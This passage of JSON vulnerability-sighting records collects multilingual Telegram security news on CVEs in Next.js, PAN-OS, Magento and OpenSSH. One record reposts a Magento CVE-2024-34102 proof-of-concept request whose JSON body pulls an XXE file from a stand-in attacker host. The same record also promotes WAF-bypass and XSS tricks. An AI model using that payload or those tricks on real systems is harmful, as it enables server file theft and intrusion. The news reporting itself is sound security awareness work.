\n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83e\udda0 @cyberbannews_ir", "creation_timestamp": "2024-05-13T08:31:07.000000Z"}, {"uuid": "0a0ef3e2-90e0-4c06-9caf-354a647f53e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://t.me/cyberbannews_ir/11846", "content": "\ud83e\ude99 \u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Request Smuggling \u0648 SSRF \u062f\u0631 Next.js\n\n\ud83d\udd39\u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2024-34350 \u0648 CVE-2024-34351 \u0648 \u0634\u062f\u062a\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc Next.js \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 Response queue poisoning \u0648 SSRF \u0645\u06cc\u200c\u0628\u0627\u0634\u0646\u062f.\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Response queue poisoning \u0628\u0647 \u062f\u0644\u06cc\u0644 \u062a\u0641\u0633\u06cc\u0631 \u0646\u0627\u0633\u0627\u0632\u06af\u0627\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc HTTP \u0628\u0647 \u0648\u062c\u0648\u062f \u0622\u0645\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06af\u0627\u0647\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648 \u06af\u0627\u0647\u06cc \u062f\u0648 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u062c\u062f\u0627\u06af\u0627\u0646\u0647 \u062a\u0641\u0633\u06cc\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc SSRF \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u062f\u0631 Next.js \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u0641\u0639\u0627\u0644 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\ud83d\udd18 \u06af\u0632\u0627\u0631\u0634 \u06a9\u0627\u0645\u0644 \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83e\udda0 @cyberbannews_ir", "creation_timestamp": "2024-05-13T08:31:07.000000Z"}, {"uuid": "f0ea9531-2aaa-4a6a-b416-e5565c87a243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/cyberbannews_ir/11559", "content": "\ud83e\ude99 \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u067e\u0627\u0644\u0648 \u0622\u0644\u062a\u0648 \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631\n\n\ud83d\udd3a\u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u06cc\u06a9 \u0627\u0637\u0644\u0627\u0639\u06cc\u0647 \u0641\u0648\u0631\u06cc \u062f\u0631\u0628\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0628\u0627\u06af \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0635\u0628\u062d \u062c\u0645\u0639\u0647 \u0648\u0639\u062f\u0647 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0631\u0641\u0639 \u0641\u0648\u0631\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0628\u0631\u0686\u0633\u0628 CVE-2024-3400\u060c \u0631\u0648\u0632 \u06cc\u06a9\u0634\u0646\u0628\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f.\n\n\ud83d\udd3b\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u062f\u0627\u0631\u0627\u06cc \u0628\u0627\u0644\u0627\u062a\u0631\u06cc\u0646 \u0646\u0645\u0631\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0632 10 \u0627\u0633\u062a.\n\n\u2764\ufe0f \u06af\u0632\u0627\u0631\u0634 \u06a9\u0627\u0645\u0644 \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0627\u0645\u0646\u06cc\u062a\n\n\ud83e\udda0 @cyberbannews_ir", "creation_timestamp": "2024-04-17T05:19:20.000000Z"}, {"uuid": "84b7f0e3-f7ee-4888-91a4-85ce3ed7fbcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/alexmakus/5282", "content": "\u043f\u0430\u0442\u0447\u0438 \u0432\u0447\u0435\u0440\u0430 \u043f\u043e\u0437\u0434\u043d\u043e \u043d\u043e\u0447\u044c\u044e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \n\nhttps://unit42.paloaltonetworks.com/cve-2024-3400/", "creation_timestamp": "2024-04-15T15:34:14.000000Z"}, {"uuid": "86b03648-b16e-41dd-8f4c-85ba74e069d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/alexmakus/5279", "content": "Palo Alto Networks \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u043b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Volexity \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 10.0, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-3400, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0442\u0438 \u0436\u0435\u0440\u0442\u0432\u044b \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u043e\u043b\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043f\u043e \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441 26 \u043c\u0430\u0440\u0442\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0438\u0437 Volexity, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 UTA0218 \u043a\u0430\u043a \u043d\u0430 \"\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u043d\u0441\u043e\u0440\u0430 \u0443\u0433\u0440\u043e\u0437,\" \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0430\u043a\u043e\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b 14 \u0430\u043f\u0440\u0435\u043b\u044f \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0433\u043e\u0434\u043d\u044f!\n\nhttps://security.paloaltonetworks.com/CVE-2024-3400", "creation_timestamp": "2024-04-15T01:22:30.000000Z"}, {"uuid": "57473150-9ec6-4055-91ec-c9269e871106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "seen", "source": "https://t.me/TheDarkWebInformer/17205", "content": "CVE-2024-34470: Path Traversal vulnerability in HSC Mailinspector\n\nCredit: youtube.com/@brutsecurity/", "creation_timestamp": "2025-05-13T19:03:06.000000Z"}, {"uuid": "cae73e81-9a91-423f-abd1-ada9e6a2a149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/cyber_hsecurity/1608", "content": ":\n\u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631 wanEditor v4.7.11 \u0648\u062a\u0645 \u0625\u0635\u0644\u0627\u062d\u0647\u0627 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u064a\u0646 v.4.7.12 \u0648v.5\u060c \u0648\u0647\u064a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0646\u0635\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 (XSS) \u0639\u0628\u0631 \u0648\u0638\u064a\u0641\u0629 \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0635\u0648\u0631.\n\nhttps://gist.github.com/Mdxjj/5cf0a31e8abf24ed688ceb5b3543516d\n\n\u0647\u0646\u0627\u0643 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a Debezium Community debezium-ui v.2.5 \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0645\u062d\u0644\u064a \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0634\u0648\u0627\u0626\u064a\u0629 \u0639\u0628\u0631 \u0648\u0638\u064a\u0641\u0629 \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641\u062d\u0629.\n\nhttps://packetstormsecurity.com/files/178794/Debezium-UI-2.5-Credential-Disclosure.html\n\n\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0633\u0645\u062d IBM Security Verify Access Docker 10.0.0 \u062d\u062a\u0649 10.0.6 \u0644\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0645\u062d\u0644\u064a \u0628\u062a\u0635\u0639\u064a\u062f \u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a\u0647 \u0628\u0633\u0628\u0628 \u0627\u0644\u062a\u062d\u0642\u0642 \u063a\u064a\u0631 \u0627\u0644\u0635\u062d\u064a\u062d \u0645\u0646 \u0627\u0644\u0634\u0647\u0627\u062f\u0629. \u0645\u0639\u0631\u0641 IBM X-Force: 292416.\n\nhttps://exchange.xforce.ibmcloud.com/vulnerabilities/292416\n\n\u064a\u0632\u064a\u0644 javascript-deobfuscator \u062a\u0642\u0646\u064a\u0627\u062a \u062a\u0634\u0648\u064a\u0634 JavaScript \u0627\u0644\u0634\u0627\u0626\u0639\u0629. \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u062a\u0623\u062b\u0631\u0629\u060c \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0624\u062f\u064a \u0627\u0644\u062d\u0645\u0648\u0644\u0627\u062a \u0627\u0644\u0645\u0639\u062f\u0629 \u0648\u0627\u0644\u062a\u064a \u062a\u0633\u062a\u0647\u062f\u0641 \u062a\u0628\u0633\u064a\u0637 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0625\u0644\u0649 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629. \u0644\u0642\u062f \u062a\u0645 \u062a\u0635\u062d\u064a\u062d \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631 1.1.0. \u064a\u064f\u0646\u0635\u062d \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b. \u064a\u062c\u0628 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646 \u063a\u064a\u0631 \u0627\u0644\u0642\u0627\u062f\u0631\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u062a\u0631\u0642\u064a\u0629 \u062a\u0639\u0637\u064a\u0644 \u0645\u064a\u0632\u0629 \u062a\u0628\u0633\u064a\u0637 \u0627\u0644\u062a\u0639\u0628\u064a\u0631.\n\nhttps://github.com/ben-sb/javascript-deobfuscator/commit/630d3caec83d5f31c5f7a07e6fadf613d06699d6\n\n\u062d\u0633\u064a\u0646 \u0631\u0648\u0632\u0643\u0627\u0631:\nCVE-2024-36684\nCRITICAL\nInformation\nCPEs\nPlugins\nDescription\nIn the module \"Custom links\" (pk_customlinks) <= 2.3 from Promokit.eu for PrestaShop, a guest can perform SQL injection. The script ajax.php have a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.\nReferences\nhttps://security.friendsofpresta.org/modules/2024/06/18/pk_customlinks.html\n\nALSED404:\npayload\n\n\n\n\n\n#Payload\n===================================\n#ALSED404\n\nCVE-2024-34102\u00a0 POC \n\nPOST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://attacker*com/xxe.xml\",\"dataIsURL\":true,\"options\":1337}}}}}}\n\n#CVE #POC\n\n===================================\n#ALSED404\n\nA Cloudflare WAF bypass combining simple (but efficient) tricks\n\n\n\nA payload with some obfuscation & filter evasion tricks\n\n\n\n#CF #WAF #Bypass #Payload\n===================================\n#ALSED404\n\nXSS WAF Bypass by multi-char HTML entities\n\nfj translates to fj\n>⃒ translates to > + [?]\n<⃒ translates to < + [?]\n\n[?] - Unicode symbol\n\n#BugBounty #Tips\n===================================\n#ALSED404\n\nA Cloudflare WAF bypass combining simple (but efficient) tricks\n\n\n\nA payload with some obfuscation & filter evasion tricks\n\n\n\n#CF #WAF #Bypass #Payload\n===================================\n#ALSED404\n\n\u0647\u0627 \u062c\u0645\u0627\u0639\u0629 \u0627\u0644\u0627\u064a\u0641\u0648\u0646 \ud83d\ude02\ud83d\ude02\ud83d\ude02\ud83d\ude02\n\ud83d\udd12 \u0645\u0637\u0648\u0631\u064a iOS \u0648macOS\u060c \u062a\u0646\u0628\u064a\u0647!\n\n\u0627\u0643\u062a\u0634\u0641 \u0643\u064a\u0641 \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0624\u062f\u064a 3 \u062b\u063a\u0631\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u062c\u062f\u064a\u062f\u0629 \u0641\u064a CocoaPods\u060c \u0625\u062d\u062f\u0649 \u0623\u062f\u0648\u0627\u062a \u0645\u0637\u0648\u0631\u064a Apple \u0627\u0644\u0634\u0647\u064a\u0631\u0629\u060c \u0625\u0644\u0649 \u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f \u0639\u0644\u0649 \u062a\u0637\u0628\u064a\u0642\u0627\u062a iOS \u0648macOS.\n\n\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0647\u0646\u0627: https://thehackernews.com/2024/07/critical-flaws-in-cocoapods-expose-ios.html\n#ALSED404\n\nPayload XSS: \n\n\n#Payload #XSS\n===================================\n#ALSED404\n\nDiscovered an XSS vulnerability but Imperva WAF blocked it?\nTry this XSS payload to bypass Imperva's protection.\n\n\n\n\n#BugBounty #Bypass_Imperva #Payload #XSS\n===================================\n#ALSED404\n\n\u062b\u063a\u0631\u0629 \u062c\u062f\u064a\u062f\u0629 \u0628\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 OpenSSH \u062a\u0646\u0637\u064a RCE \n\ud83d\udea8 New OpenSSH vulnerability (CVE-2024-6409) found in RHEL 9's versions 8.7p1 & 8.8p1, allowing RCE via race condition in privsep child process. \n\nRead: https://thehackernews.com/2024/07/new-openssh-vulnerability-discovered.html \n\n\u26a0\ufe0f Active exploits detected! This bug is distinct from CVE-2024-6387 but shares similarities.\n#ALSED404", "creation_timestamp": "2024-12-13T19:00:21.000000Z"}, {"uuid": "4b5dae6f-be7d-424c-8f20-3522fa752c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/kasperskyb2b/1312", "content": "\ud83d\udc4c \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udda5 \u041a\u043e\u043d\u0433\u043b\u043e\u043c\u0435\u0440\u0430\u0442 \u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0438\u0445 APT \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u0441\u0435\u043a\u0442\u043e\u0440 \u0432 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0437\u0438\u0430\u0442\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0435 \u0441 \u0446\u0435\u043b\u044c\u044e \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0438\u0437\u0443\u0447\u0430\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439. \u0412 \u0430\u0442\u0430\u043a\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043e \u0412\u041f\u041e Coolclient, Rainyday \u0438\u00a0 Quickheal, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 APT Naikon, Mustang Panda, Nomad Panda/RedFoxtrot. \n\n\u0410 \u0433\u0440\u0443\u043f\u043f\u0430 Velvet Ant \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043b\u0430 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 F5 BIG-IP \u0443 \u0436\u0435\u0440\u0442\u0432\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u0434 \u0441\u0432\u043e\u0438 \u043d\u0443\u0436\u0434\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 C2. \u041d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0432 \u0441\u0435\u0442\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0438 PlugX. \u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u2014 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u041e\u0421 \u0447\u0435\u0440\u0435\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 CVE.\n\n\ud83d\udcf1 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u043e\u0432\u043e\u0440\u043e\u0442 \u0432 ransomware-\u0430\u0442\u0430\u043a\u0430\u0445: \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0412\u041f\u041e \u0434\u043b\u044f Android \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Rafel RAT \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u043d\u0430\u00a0 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u0430\u0445, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0438\u0445 \u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u043b\u0430\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 Telegram.\u00a0 \u041f\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0434 \u0440\u0430\u0437\u0434\u0430\u0447\u0443 \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u044b. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0430\u043a\u0442\u0438\u043a\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043d\u044b\u0445 \u0433\u043f\u0443\u043f\u043f. \n\n\u0420\u0443\u0442\u043a\u0438\u0442\u044b \u043d\u0430 \u0444\u0435\u0440\u043c\u0435: \u0433\u0440\u0443\u043f\u043f\u0430 UNC3886 \u043e\u0431\u043b\u044e\u0431\u043e\u0432\u0430\u043b\u0430 \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u044b\u0435 \u0440\u0443\u0442\u043a\u0438\u0442\u044b\u00a0Reptile \u0438 Medusa, \u0447\u0442\u043e\u0431\u044b \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0451 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0441 VMware ESXi. \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Github, \u0446\u0435\u043b\u044c\u044e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436. \n\n\ud83d\udfe1 \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c RaaS RansomHub \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u043c \"\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\"\u00a0 \u043c\u043e\u0434\u0443\u043b\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0444\u0435\u0440\u043c\u044b ESXi.\u00a0 \n\n\ud83d\udfe2 \u0421\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0435\u043a\u043e\u043c-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Adobe Commerce/Magento \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0443\u0440\u043e\u0432\u043d\u044f API admin. \u0414\u043b\u044f 